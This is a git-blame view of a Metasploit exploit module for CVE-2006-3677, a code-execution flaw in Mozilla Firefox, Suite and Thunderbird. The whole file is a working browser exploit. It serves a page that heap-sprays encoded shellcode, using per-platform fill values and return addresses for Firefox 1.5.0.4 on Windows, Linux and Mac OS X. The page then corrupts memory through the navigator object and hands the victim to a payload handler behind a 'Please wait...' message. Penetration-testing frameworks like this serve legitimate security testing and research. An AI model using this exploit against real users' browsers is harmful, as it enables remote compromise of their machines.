Files

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

143 lines
3.8 KiB
Ruby
Raw Permalink Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = NormalRanking
2006-07-31 02:50:41 +00:00
include Msf::Exploit::Remote::HttpServer::HTML
2006-07-31 02:50:41 +00:00
2025-06-20 13:20:44 +01:00
# include Msf::Exploit::Remote::BrowserAutopwn
# autopwn_info({
# :ua_name => HttpClients::FF,
# :ua_minver => "1.5.0",
# :ua_maxver => "1.5.1",
# :javascript => true,
# :rank => NormalRanking, # reliable memory corruption
# :vuln_test => %Q|
# is_vuln = false;
# if (navigator.javaEnabled()){
# is_vuln = true;
# }
# |,
2025-06-20 13:20:44 +01:00
# })
2006-07-31 02:50:41 +00:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'Mozilla Suite/Firefox Navigator Object Code Execution',
'Description' => %q{
This module exploits a code execution vulnerability in the Mozilla
2025-06-20 13:20:44 +01:00
Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
requires the Java plugin to be installed.
},
'License' => MSF_LICENSE,
'Author' => ['hdm'],
'References' => [
['CVE', '2006-3677'],
['OSVDB', '27559'],
['BID', '19192'],
['URL', 'http://www.mozilla.org/security/announce/mfsa2006-45.html']
2006-07-31 02:50:41 +00:00
],
2025-06-20 13:20:44 +01:00
'Payload' => {
'Space' => 512,
2025-12-17 17:11:13 -05:00
'BadChars' => ''
2006-07-31 02:50:41 +00:00
},
2025-06-20 13:20:44 +01:00
'Targets' => [
[
'Firefox 1.5.0.4 Windows x86',
2006-07-31 02:50:41 +00:00
{
'Platform' => 'win',
'Arch' => ARCH_X86,
2025-06-20 13:20:44 +01:00
'Ret' => 0x08000800,
2025-12-17 17:11:13 -05:00
'Fill' => '%u0800'
2006-07-31 02:50:41 +00:00
}
],
2025-06-20 13:20:44 +01:00
[
'Firefox 1.5.0.4 Linux x86',
2006-07-31 02:50:41 +00:00
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
2025-06-20 13:20:44 +01:00
'Ret' => -0x58000000,
2025-12-17 17:11:13 -05:00
'Fill' => '%ua8a8'
2006-07-31 02:50:41 +00:00
}
],
2025-06-20 13:20:44 +01:00
[
'Firefox 1.5.0.4 Mac OS X PPC',
2006-07-31 02:50:41 +00:00
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
2025-06-20 13:20:44 +01:00
'Ret' => 0x0c000000,
2025-12-17 17:11:13 -05:00
'Fill' => '%u0c0c'
2006-07-31 02:50:41 +00:00
}
],
2025-06-20 13:20:44 +01:00
[
'Firefox 1.5.0.4 Mac OS X x86',
2006-07-31 02:50:41 +00:00
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
2025-06-20 13:20:44 +01:00
'Ret' => 0x1c000000,
2025-12-17 17:11:13 -05:00
'Fill' => '%u1c1c'
2006-07-31 02:50:41 +00:00
}
],
2006-07-31 02:50:41 +00:00
],
'DisclosureDate' => '2006-07-25',
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2006-07-31 02:50:41 +00:00
end
2025-12-17 17:11:13 -05:00
def on_request_uri(cli, _request)
2006-07-31 02:50:41 +00:00
# Re-generate the payload
2025-12-17 17:11:13 -05:00
return if ((p = regenerate_payload(cli)).nil?)
2006-07-31 02:50:41 +00:00
2025-12-17 17:11:13 -05:00
print_status("Sending #{name}")
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
# Handle the payload
2006-07-31 02:50:41 +00:00
handler(cli)
end
2006-07-31 02:50:41 +00:00
def generate_html(payload)
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
2025-12-17 17:11:13 -05:00
return %|
2006-07-31 02:50:41 +00:00
<html><head>
<script>
function Exploit() {
if (window.navigator.javaEnabled) {
var shellcode = unescape("#{enc_code}");
var b = unescape("#{target['Fill']}");
while (b.length <= 0x400000) b+=b;
var c = new Array();
for (var i =0; i<36; i++) {
c[i] =
b.substring(0, 0x100000 - shellcode.length) + shellcode +
b.substring(0, 0x100000 - shellcode.length) + shellcode +
b.substring(0, 0x100000 - shellcode.length) + shellcode +
b.substring(0, 0x100000 - shellcode.length) + shellcode;
}
2006-07-31 02:50:41 +00:00
window.navigator = (#{target['Ret']} / 2);
try {
java.lang.reflect.Runtime.newInstance(
java.lang.Class.forName("java.lang.Runtime"), 0
);
}catch(e){
2006-07-31 02:51:43 +00:00
2006-07-31 02:50:41 +00:00
}
}
}
</script>
</head><body onload='Exploit()'>Please wait...</body></html>
|
end
2009-07-16 16:02:24 +00:00
end